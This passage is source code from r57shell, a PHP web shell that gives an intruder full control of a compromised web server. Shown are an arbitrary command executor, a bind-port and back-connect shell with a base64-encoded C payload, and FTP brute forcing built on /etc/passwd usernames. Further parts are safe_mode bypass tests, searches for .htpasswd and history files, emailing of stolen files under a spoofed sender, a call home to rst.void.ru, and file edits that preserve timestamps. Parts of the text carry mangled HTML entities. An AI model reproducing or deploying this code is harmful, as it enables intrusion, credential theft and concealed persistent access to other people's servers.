=>'Bind port to /bin/bash', 'eng_text10'=>'Port', 'eng_text11'=>'Password for access', 'eng_butt3' =>'Bind', 'eng_text12'=>'back-connect', 'eng_text13'=>'IP', 'eng_text14'=>'Port', 'eng_butt4' =>'Connect', 'eng_text15'=>'Upload files from remote server', 'eng_text16'=>'With', 'eng_text17'=>'Remote file', 'eng_text18'=>'Local file', 'eng_text19'=>'Exploits', 'eng_text20'=>'Use', 'eng_text21'=>'&nbsp;New name', 'eng_text22'=>'datapipe', 'eng_text23'=>'Local port', 'eng_text24'=>'Remote host', 'eng_text25'=>'Remote port',
    • 'eng_text26'=>'Use', 'eng_butt5' =>'Run', 'eng_text28'=>'Work in safe_mode', 'eng_text29'=>'ACCESS DENIED', 'eng_butt6' =>'Change', 'eng_text30'=>'Cat file', 'eng_butt7' =>'Show', 'eng_text31'=>'File not found', 'eng_text32'=>'Eval PHP code', 'eng_text33'=>'Test bypass open_basedir with cURL functions', 'eng_butt8' =>'Test', 'eng_text34'=>'Test bypass safe_mode with include function', 'eng_text35'=>'Test bypass safe_mode with load file in mysql', 'eng_text36'=>'Database . Table', 'eng_text37'=>'Login', 'eng_text38'=>'Password', 'eng_text39'=>'Database', 'eng_text40'=>'Dump database table', 'eng_butt9' =>'Dump', 'eng_text41'=>'Save dump in file', 'eng_text42'=>'Edit files', 'eng_text43'=>'File for edit', 'eng_butt10'=>'Save', 'eng_text44'=>'Can't edit file! Only read access!', 'eng_text45'=>'File saved', 'eng_text46'=>'Show phpinfo()', 'eng_text47'=>'Show variables from php.ini', 'eng_text48'=>'Delete temp files', 'eng_butt11'=>'Edit file', 'eng_text49'=>'Delete script from server', 'eng_text50'=>'View cpu info', 'eng_text51'=>'View memory info', 'eng_text52'=>'Find text', 'eng_text53'=>'In dirs', 'eng_text54'=>'Find text in files', 'eng_butt12'=>'Find', 'eng_text55'=>'Only in files', 'eng_text56'=>'Nothing :(', 'eng_text57'=>'Create/Delete File/Dir', 'eng_text58'=>'name', 'eng_text59'=>'file', 'eng_text60'=>'dir', 'eng_butt13'=>'Create/Delete', 'eng_text61'=>'File created', 'eng_text62'=>'Dir created', 'eng_text63'=>'File deleted', 'eng_text64'=>'Dir deleted', 'eng_text65'=>'Create', 'eng_text66'=>'Delete', 'eng_text67'=>'Chown/Chgrp/Chmod', 'eng_text68'=>'Command', 'eng_text69'=>'param1', 'eng_text70'=>'param2', 'eng_text71'=>quot;Second commands param is:rn- for CHOWN - name of new owner or UID rn- for CHGRP - group name or GIDrn- for CHMOD - 0777, 0755...quot;, 'eng_text72'=>'Text for find', 'eng_text73'=>'Find in folder', 'eng_text74'=>'Find in files', 'eng_text75'=>'* you can use regexp',
    • 'eng_text76'=>'Search text in files via find', 'eng_text80'=>'Type', 'eng_text81'=>'Net', 'eng_text82'=>'Databases', 'eng_text83'=>'Run SQL query', 'eng_text84'=>'SQL query', 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', 'eng_text86'=>'Download files from server', 'eng_butt14'=>'Download', 'eng_text87'=>'Download files from remote ftp-server', 'eng_text88'=>'FTP-server:port', 'eng_text89'=>'File on ftp', 'eng_text90'=>'Transfer mode', 'eng_text91'=>'Archivation', 'eng_text92'=>'without archivation', 'eng_text93'=>'FTP', 'eng_text94'=>'FTP-bruteforce', 'eng_text95'=>'Users list', 'eng_text96'=>'Can't get users list', 'eng_text97'=>'checked: ', 'eng_text98'=>'success: ', 'eng_text99'=>'* use username from /etc/passwd for ftp login and password', 'eng_text100'=>'Send file to remote ftp server', 'eng_text101'=>'Use reverse (user -> resu) login for password', 'eng_text102'=>'Mail', 'eng_text103'=>'Send email', 'eng_text104'=>'Send file to email', 'eng_text105'=>'To', 'eng_text106'=>'From', 'eng_text107'=>'Subj', 'eng_butt15'=>'Send', 'eng_text108'=>'Mail', 'eng_text109'=>'Hide', 'eng_text110'=>'Show', 'eng_text111'=>'SQL-Server : Port', 'eng_text112'=>'Test bypass safe_mode with function mb_send_mail', 'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list', 'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body', 'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()', 'eng_text116'=>'Copy from', 'eng_text117'=>'to', 'eng_text118'=>'File copied', 'eng_text119'=>'Cant copy file', 'eng_err0'=>'Error! Can't write in file ', 'eng_err1'=>'Error! Can't read file ', 'eng_err2'=>'Error! Can't create ', 'eng_err3'=>'Error! Can't connect to ftp', 'eng_err4'=>'Error! Can't login on ftp server', 'eng_err5'=>'Error! Can't change dir on ftp', 'eng_err6'=>'Error! Can't sent mail', 'eng_err7'=>'Mail send', ); /* ?????? ?????? ????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) ?? ?????? ???? ????????? ??? ???????? ???????. */
    • $aliases=array( 'find suid files'=>'find / -type f -perm -04000 -ls', 'find suid files in current dir'=>'find . -type f -perm -04000 -ls', 'find sgid files'=>'find / -type f -perm -02000 -ls', 'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', 'find config.inc.php files'=>'find / -type f -name config.inc.php', 'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', 'find config* files'=>'find / -type f -name quot;config*quot;', 'find config* files in current dir'=>'find . -type f -name quot;config*quot;', 'find all writable files'=>'find / -type f -perm -2 -ls', 'find all writable files in current dir'=>'find . -type f -perm -2 -ls', 'find all writable directories'=>'find / -type d -perm -2 -ls', 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', 'find all writable directories and files'=>'find / -perm -2 -ls', 'find all writable directories and files in current dir'=>'find . -perm -2 -ls', 'find all service.pwd files'=>'find / -type f -name service.pwd', 'find service.pwd files in current dir'=>'find . -type f -name service.pwd', 'find all .htpasswd files'=>'find / -type f -name .htpasswd', 'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', 'find all .bash_history files'=>'find / -type f -name .bash_history', 'find .bash_history files in current dir'=>'find . -type f -name .bash_history', 'find all .mysql_history files'=>'find / -type f -name .mysql_history', 'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', 'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', 'list file attributes on a Linux second extended file system'=>'lsattr -va', 'show opened ports'=>'netstat -an | grep -i listen', '---------------------------------------------------------------------------------- ------------------'=>'ls -la' ); $table_up1 = quot;<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: quot;; $table_up2 = quot; ::</div></b></font></td></tr><tr><td>quot;; $table_up3 = quot;<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>quot;; $table_end1 = quot;</td></tr>quot;; $arrow = quot; <font face=Webdings color=gray>4</font>quot;; $lb = quot;<font color=black>[</font>quot;; $rb = quot;<font color=black>]</font>quot;; $font = quot;<font face=Verdana size=-2>quot;; $ts = quot;<table class=table1 width=100% align=center>quot;; $te = quot;</table>quot;; $fs = quot;<form name=form method=POST>quot;; $fe = quot;</form>quot;; if(isset($_GET['users'])) { if(!$users=get_users()) { echo quot;<center><font face=Verdana size=-2 color=red>quot;. $lang[$language.'_text96'].quot;</font></center>quot;; } else { echo '<center>'; foreach($users as $user) { echo $user.quot;<br>quot;; } echo '</center>'; } echo quot;<br><div align=center><font face=Verdana size=-2><b>[ <a href=quot;. $_SERVER['PHP_SELF'].quot;>BACK</a> ]</b></font></div>quot;; die(); }
    • if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } $dir = @getcwd(); $unix = 0; if(strlen($dir)>1 && $dir[1]==quot;:quot;) $unix=0; else $unix=1; if(empty($dir)) { $os = getenv('OS'); if(empty($os)){ $os = php_uname(); } if(empty($os)){ $os =quot;-quot;; $unix=1; } else { if(@eregi(quot;^winquot;,$os)) { $unix = 0; } else { $unix = 1; } } } if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == quot;search_textquot;) { echo $head; if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } $sr->SearchText(0,0); $res = $sr->GetResultFiles(); $found = $sr->GetMatchesCount(); $titles = $sr->GetTitles(); $r = quot;quot;; if($found > 0) { $r .= quot;<TABLE width=100%>quot;; foreach($res as $file=>$v) { $r .= quot;<TR>quot;; $r .= quot;<TD colspan=2><font face=Verdana size=-2><b>quot;.ws(3); $r .= (!$unix)? str_replace(quot;/quot;,quot;quot;,$file) : $file; $r .= quot;</b></font></ TD>quot;; $r .= quot;</TR>quot;; foreach($v as $a=>$b) { $r .= quot;<TR>quot;; $r .= quot;<TD align=center><B><font face=Verdana size=-2>quot;.$a.quot;</font></B></ TD>quot;; $r .= quot;<TD><font face=Verdana size=-2>quot;.ws(2).$b.quot;</font></TD>quot;; $r .= quot;</TR>nquot;; } } $r .= quot;</TABLE>quot;; echo $r; } else { echo quot;<P align=center><B><font face=Verdana size=-2>quot;. $lang[$language.'_text56'].quot;</B></font></P>quot;; } echo quot;<br><div align=center><font face=Verdana size=-2><b>[ <a href=quot;. $_SERVER['PHP_SELF'].quot;>BACK</a> ]</b></font></div>quot;; die(); } if(!$safe_mode && strpos(ex(quot;echo abcr57quot;),quot;r57quot;)!=3) { $safe_mode = 1; }
    • $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = quot;-quot;; } function ws($i) { return @str_repeat(quot;&nbsp;quot;,$i); } function ex($cfe) { $res = ''; if (!empty($cfe)) { if(function_exists('exec')) { @exec($cfe,$res); $res = join(quot;nquot;,$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,quot;rquot;))) { $res = quot;quot;; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function get_users() { $users = array(); $rows=file('/etc/passwd'); if(!$rows) return 0; foreach ($rows as $string) { $user = @explode(quot;:quot;,$string); if(substr($string,0,1)!='#') array_push($users,$user[0]); } return $users; } function err($n,$txt='') { echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>';
    • echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; if(!empty($txt)) { echo quot; $txtquot;; } echo '</b></div></font></td></tr></table>'; return null; } function perms($mode) { if (!$GLOBALS['unix']) return 0; if( $mode & 0x1000 ) { $type='p'; } else if( $mode & 0x2000 ) { $type='c'; } else if( $mode & 0x4000 ) { $type='d'; } else if( $mode & 0x6000 ) { $type='b'; } else if( $mode & 0x8000 ) { $type='-'; } else if( $mode & 0xA000 ) { $type='l'; } else if( $mode & 0xC000 ) { $type='s'; } else $type='u'; $owner[quot;readquot;] = ($mode & 00400) ? 'r' : '-'; $owner[quot;writequot;] = ($mode & 00200) ? 'w' : '-'; $owner[quot;executequot;] = ($mode & 00100) ? 'x' : '-'; $group[quot;readquot;] = ($mode & 00040) ? 'r' : '-'; $group[quot;writequot;] = ($mode & 00020) ? 'w' : '-'; $group[quot;executequot;] = ($mode & 00010) ? 'x' : '-'; $world[quot;readquot;] = ($mode & 00004) ? 'r' : '-'; $world[quot;writequot;] = ($mode & 00002) ? 'w' : '-'; $world[quot;executequot;] = ($mode & 00001) ? 'x' : '-'; if( $mode & 0x800 ) $owner[quot;executequot;] = ($owner['execute']=='x') ? 's' : 'S'; if( $mode & 0x400 ) $group[quot;executequot;] = ($group['execute']=='x') ? 's' : 'S'; if( $mode & 0x200 ) $world[quot;executequot;] = ($world['execute']=='x') ? 't' : 'T'; $s=sprintf(quot;%1squot;, $type); $s.=sprintf(quot;%1s%1s%1squot;, $owner['read'], $owner['write'], $owner['execute']); $s.=sprintf(quot;%1s%1s%1squot;, $group['read'], $group['write'], $group['execute']); $s.=sprintf(quot;%1s%1s%1squot;, $world['read'], $world['write'], $world['execute']); return trim($s); } function in($type,$name,$size,$value,$checked=0) { $ret = quot;<input type=quot;.$type.quot; name=quot;.$name.quot; quot;; if($size != 0) { $ret .= quot;size=quot;.$size.quot; quot;; } $ret .= quot;value=quot;quot;.$value.quot;quot;quot;; if($checked) $ret .= quot; checkedquot;; return $ret.quot;>quot;; } function which($pr) { $path = ex(quot;which $prquot;); if(!empty($path)) { return $path; } else { return $pr; } } function cf($fname,$text) { $w_file=@fopen($fname,quot;wquot;) or err(0); if($w_file) { @fputs($w_file,@base64_decode($text)); @fclose($w_file); } } function sr($l,$t1,$t2) { return quot;<tr class=tr1><td class=td1 width=quot;.$l.quot;% align=right>quot;.$t1.quot;</td><td
    • class=td1 align=left>quot;.$t2.quot;</td></tr>quot;; } if (!@function_exists(quot;view_sizequot;)) { function view_size($size) { if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . quot; GBquot;;} elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . quot; MBquot;;} elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . quot; KBquot;;} else {$size = $size . quot; Bquot;;} return $size; } } function DirFilesR($dir,$types='') { $files = Array(); if(($handle = @opendir($dir))) { while (false !== ($file = @readdir($handle))) { if ($file != quot;.quot; && $file != quot;..quot;) { if(@is_dir($dir.quot;/quot;.$file)) $files = @array_merge($files,DirFilesR($dir.quot;/quot;.$file,$types)); else { $pos = @strrpos($file,quot;.quot;); $ext = @substr($file,$pos,@strlen($file)-$pos); if($types) { if(@in_array($ext,explode(';',$types))) $files[] = $dir.quot;/quot;.$file; } else $files[] = $dir.quot;/quot;.$file; } } } @closedir($handle); } return $files; } class SearchResult { var $text; var $FilesToSearch; var $ResultFiles; var $FilesTotal; var $MatchesCount; var $FileMatschesCount; var $TimeStart; var $TimeTotal; var $titles; function SearchResult($dir,$text,$filter='') { $dirs = @explode(quot;;quot;,$dir); $this->FilesToSearch = Array(); for($a=0;$a<count($dirs);$a++) $this->FilesToSearch = @array_merge($this-
    • >FilesToSearch,DirFilesR($dirs[$a],$filter)); $this->text = $text; $this->FilesTotal = @count($this->FilesToSearch); $this->TimeStart = getmicrotime(); $this->MatchesCount = 0; $this->ResultFiles = Array(); $this->FileMatchesCount = Array(); $this->titles = Array(); } function GetFilesTotal() { return $this->FilesTotal; } function GetTitles() { return $this->titles; } function GetTimeTotal() { return $this->TimeTotal; } function GetMatchesCount() { return $this->MatchesCount; } function GetFileMatchesCount() { return $this->FileMatchesCount; } function GetResultFiles() { return $this->ResultFiles; } function SearchText($phrase=0,$case=0) { $qq = @explode(' ',$this->text); $delim = '|'; if($phrase) foreach($qq as $k=>$v) $qq[$k] = 'b'.$v.'b'; $words = '('.@implode($delim,$qq).')'; $pattern = quot;/quot;.$words.quot;/quot;; if(!$case) $pattern .= 'i'; foreach($this->FilesToSearch as $k=>$filename) { $this->FileMatchesCount[$filename] = 0; $FileStrings = @file($filename) or @next; for($a=0;$a<@count($FileStrings);$a++) { $count = 0; $CurString = $FileStrings[$a]; $CurString = @Trim($CurString); $CurString = @strip_tags($CurString); $aa = ''; if(($count = @preg_match_all($pattern,$CurString,$aa))) { $CurString = @preg_replace($pattern,quot;<SPAN style='color: #990000;'><b>1</b></SPAN>quot;,$CurString); $this->ResultFiles[$filename][$a+1] = $CurString; $this->MatchesCount += $count; $this->FileMatchesCount[$filename] += $count; } } } $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); } } function getmicrotime() { list($usec,$sec) = @explode(quot; quot;,@microtime()); return ((float)$usec + (float)$sec); } $port_bind_bd_c=quot;I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZS A8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0Ka W50IG1haW4oYXJnYyxhcmd2KQ0KaW50I GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsN
    • CiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1 vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIH NvY2tmZCA9IHNvY2tldChBRl9JTkVULF NP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PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ 0KZG9jdW1lbnQud3JpdGUoJzxh IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGl tZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZW VuKT09J3VuZGVmaW5lZCcpPycnOg0KJz tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjc mVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg 7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u 8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0 tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV ybmV0LS0+quot;; if($unix) { if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname', $uname); } else { $uname = $_COOKIE['uname']; } if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; } if($safe_mode) { $sysctl = '-'; } else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; } else
    • { $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease'); if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); } if(empty($sysctl)) { $sysctl = '-'; } setcookie('sysctl',$sysctl); } } echo $head; echo '</head>'; if(empty($_POST['cmd'])) { $serv = array(127,192,172,10); $addr=@explode('.', $_SERVER['SERVER_ADDR']); $current_version = str_replace('.','',$version); if (!in_array($addr[0], $serv)) { @print quot;<img src=quot;http://rst.void.ru/r57shell_version/version.php?img=1&version=quot;. $current_version.quot;quot; border=0 height=0 width=0>quot;; @readfile (quot;http://rst.void.ru/r57shell_version/version.php?version=quot;. $current_version.quot;quot;);}} echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(2).'<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2>'; echo ws(2).quot;<b>quot;.date (quot;d-m-Y H:i:squot;).quot;</b>quot;; echo ws(2).$lb.quot; <a href=quot;.$_SERVER['PHP_SELF'].quot;?phpinfo title=quot;quot;. $lang[$language.'_text46'].quot;quot;><b>phpinfo</b></a> quot;.$rb; echo ws(2).$lb.quot; <a href=quot;.$_SERVER['PHP_SELF'].quot;?phpini title=quot;quot;. $lang[$language.'_text47'].quot;quot;><b>php.ini</b></a> quot;.$rb; if($unix) { echo ws(2).$lb.quot; <a href=quot;.$_SERVER['PHP_SELF'].quot;?cpu title=quot;quot;. $lang[$language.'_text50'].quot;quot;><b>cpu</b></a> quot;.$rb; echo ws(2).$lb.quot; <a href=quot;.$_SERVER['PHP_SELF'].quot;?mem title=quot;quot;. $lang[$language.'_text51'].quot;quot;><b>mem</b></a> quot;.$rb; echo ws(2).$lb.quot; <a href=quot;.$_SERVER['PHP_SELF'].quot;?users title=quot;quot;. $lang[$language.'_text95'].quot;quot;><b>users</b></a> quot;.$rb; } echo ws(2).$lb.quot; <a href=quot;.$_SERVER['PHP_SELF'].quot;?tmp title=quot;quot;. $lang[$language.'_text48'].quot;quot;><b>tmp</b></a> quot;.$rb; echo ws(2).$lb.quot; <a href=quot;.$_SERVER['PHP_SELF'].quot;?delete title=quot;quot;. $lang[$language.'_text49'].quot;quot;><b>delete</b></a> quot;.$rb.quot;<br>quot;; echo ws(2).quot;safe_mode: <b>quot;; echo (($safe_mode)?(quot;<font color=green>ON</font>quot;):(quot;<font color=red>OFF</font>quot;)); echo quot;</b>quot;.ws(2); echo quot;PHP version: <b>quot;.@phpversion().quot;</b>quot;; $curl_on = @function_exists('curl_version'); echo ws(2); echo quot;cURL: <b>quot;.(($curl_on)?(quot;<font color=green>ON</font>quot;):(quot;<font color=red>OFF</font>quot;)); echo quot;</b>quot;.ws(2); echo quot;MySQL: <b>quot;; $mysql_on = @function_exists('mysql_connect'); if($mysql_on){ echo quot;<font color=green>ON</font>quot;; } else { echo quot;<font color=red>OFF</font>quot;; } echo quot;</b>quot;.ws(2); echo quot;MSSQL: <b>quot;; $mssql_on = @function_exists('mssql_connect'); if($mssql_on){echo quot;<font color=green>ON</font>quot;;}else{echo quot;<font color=red>OFF</font>quot;;}
    • echo quot;</b>quot;.ws(2); echo quot;PostgreSQL: <b>quot;; $pg_on = @function_exists('pg_connect'); if($pg_on){echo quot;<font color=green>ON</font>quot;;}else{echo quot;<font color=red>OFF</font>quot;;} echo quot;</b>quot;.ws(2); echo quot;Oracle: <b>quot;; $ora_on = @function_exists('ocilogon'); if($ora_on){echo quot;<font color=green>ON</font>quot;;}else{echo quot;<font color=red>OFF</font>quot;;} echo quot;</b><br>quot;.ws(2); echo quot;Disable functions : <b>quot;; if(''==($df=@ini_get('disable_functions'))){echo quot;<font color=green>NONE</font></b>quot;;}else{echo quot;<font color=red>$df</font></b>quot;;} $free = @diskfreespace($dir); if (!$free) {$free = 0;} $all = @disk_total_space($dir); if (!$all) {$all = 0;} echo quot;<br>quot;.ws(2).quot;Free space : <b>quot;.view_size($free).quot;</b> Total space: <b>quot;.view_size($all).quot;</b>quot;; echo '</font></td></tr><table> <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> <tr><td align=right width=100>'; echo $font; if($unix){ echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; echo quot;</td><td>quot;; echo quot;<font face=Verdana size=-2 color=red><b>quot;; echo((!empty($uname))?(ws(3).@substr($uname,0,120).quot;<br>quot;): (ws(3).@substr(@php_uname(),0,120).quot;<br>quot;)); echo ws(3).$sysctl.quot;<br>quot;; echo ws(3).ex('echo $OSTYPE').quot;<br>quot;; echo ws(3).@substr($SERVER_SOFTWARE,0,120).quot;<br>quot;; if(!empty($id)) { echo ws(3).$id.quot;<br>quot;; } else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid')) { $euserinfo = @posix_getpwuid(@posix_geteuid()); $egroupinfo = @posix_getgrgid(@posix_getegid()); echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='. $egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>'; } else echo ws(3).quot;user=quot;.@get_current_user().quot; uid=quot;.@getmyuid().quot; gid=quot;.@getmygid().quot;<br>quot;; echo ws(3).$dir; echo ws(3).'( '.perms(@fileperms($dir)).' )'; echo quot;</b></font>quot;; } else { echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1) .'</b></font><br>'; echo quot;</td><td>quot;; echo quot;<font face=Verdana size=-2 color=red><b>quot;; echo ws(3).@substr(@php_uname(),0,120).quot;<br>quot;; echo ws(3).@substr($SERVER_SOFTWARE,0,120).quot;<br>quot;;
    • echo ws(3).@getenv(quot;USERNAMEquot;).quot;<br>quot;; echo ws(3).$dir; echo quot;<br></font>quot;; } echo quot;</font>quot;; echo quot;</td></tr></table>quot;; if(empty($c1)||empty($c2)) { die(); } $f = '<br>'; $f .= base64_decode($c1); $f .= base64_decode($c2); if(!empty($_POST['cmd']) && $_POST['cmd']==quot;mailquot;) { $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],quot;From: quot;. $_POST['from'].quot;rnquot;); err(6+$res); $_POST['cmd']=quot;quot;; } if(!empty($_POST['cmd']) && $_POST['cmd']==quot;mail_filequot; && ! empty($_POST['loc_file'])) { if(!$file=@fopen($_POST['loc_file'],quot;rquot;)) { err(1,$_POST['loc_file']); $_POST['cmd']=quot;quot;; } else { $filename = @basename($_POST['loc_file']); $filedump = @fread($file,@filesize($_POST['loc_file'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); $attach = array( quot;namequot;=>$filename, quot;typequot;=>$mime_type, quot;contentquot;=>$filedump ); if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; } if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); err(6+$res); $_POST['cmd']=quot;quot;; } } if(!empty($_POST['cmd']) && $_POST['cmd'] == quot;find_textquot;) { $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name ''.$_POST['s_mask'].'' | xargs grep -E ''.$_POST['s_text'].'''; } if(!empty($_POST['cmd']) && $_POST['cmd']==quot;ch_quot;) { switch($_POST['what']) { case 'own': @chown($_POST['param1'],$_POST['param2']); break; case 'grp': @chgrp($_POST['param1'],$_POST['param2']); break; case 'mod': @chmod($_POST['param1'],intval($_POST['param2'], 8)); break;
    • } $_POST['cmd']=quot;quot;; } if(!empty($_POST['cmd']) && $_POST['cmd']==quot;mkquot;) { switch($_POST['what']) { case 'file': if($_POST['action'] == quot;createquot;) { if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],quot;wquot;)) { err(2,$_POST['mk_name']); $_POST['cmd']=quot;quot;; } else { fclose($file); $_POST['e_name'] = $_POST['mk_name']; $_POST['cmd']=quot;edit_filequot;; echo quot;<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>quot;. $lang[$language.'_text61'].quot;</b></font></div></td></tr></table>quot;; } } else if($_POST['action'] == quot;deletequot;) { if(unlink($_POST['mk_name'])) echo quot;<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>quot;.$lang[$language.'_text63'].quot;</b></font></div></td></tr></ table>quot;; $_POST['cmd']=quot;quot;; } break; case 'dir': if($_POST['action'] == quot;createquot;){ if(mkdir($_POST['mk_name'])) { $_POST['cmd']=quot;quot;; echo quot;<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>quot;.$lang[$language.'_text62'].quot;</b></font></div></td></tr></table>quot;; } else { err(2,$_POST['mk_name']); $_POST['cmd']=quot;quot;; } } else if($_POST['action'] == quot;deletequot;){ if(rmdir($_POST['mk_name'])) echo quot;<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>quot;.$lang[$language.'_text64'].quot;</b></font></div></td></tr></ table>quot;; $_POST['cmd']=quot;quot;; } break; } } if(!empty($_POST['cmd']) && $_POST['cmd']==quot;edit_filequot; && !empty($_POST['e_name'])) { if(!$file=@fopen($_POST['e_name'],quot;r+quot;)) { $only_read = 1; @fclose($file); } if(!$file=@fopen($_POST['e_name'],quot;rquot;)) { err(1,$_POST['e_name']); $_POST['cmd']=quot;quot;; } else { echo $table_up3; echo $font;
    • echo quot;<form name=save_file method=post>quot;; echo ws(3).quot;<b>quot;.$_POST['e_name'].quot;</b>quot;; echo quot;<div align=center><textarea name=e_text cols=121 rows=24>quot;; echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); fclose($file); echo quot;</textarea>quot;; echo quot;<input type=hidden name=e_name value=quot;.$_POST['e_name'].quot;>quot;; echo quot;<input type=hidden name=dir value=quot;.$dir.quot;>quot;; echo quot;<input type=hidden name=cmd value=save_file>quot;; echo (!empty($only_read)?(quot;<br><br>quot;.$lang[$language.'_text44']):(quot;<br><br><input type=submit name=submit value=quot; quot;.$lang[$language.'_butt10'].quot; quot;>quot;)); echo quot;</div>quot;; echo quot;</font>quot;; echo quot;</form>quot;; echo quot;</td></tr></table>quot;; exit(); } } if(!empty($_POST['cmd']) && $_POST['cmd']==quot;save_filequot;) { $mtime = @filemtime($_POST['e_name']); if(!$file=@fopen($_POST['e_name'],quot;wquot;)) { err(0,$_POST['e_name']); } else { if($unix) $_POST['e_text']=@str_replace(quot;rnquot;,quot;nquot;,$_POST['e_text']); @fwrite($file,$_POST['e_text']); @touch($_POST['e_name'],$mtime,$mtime); 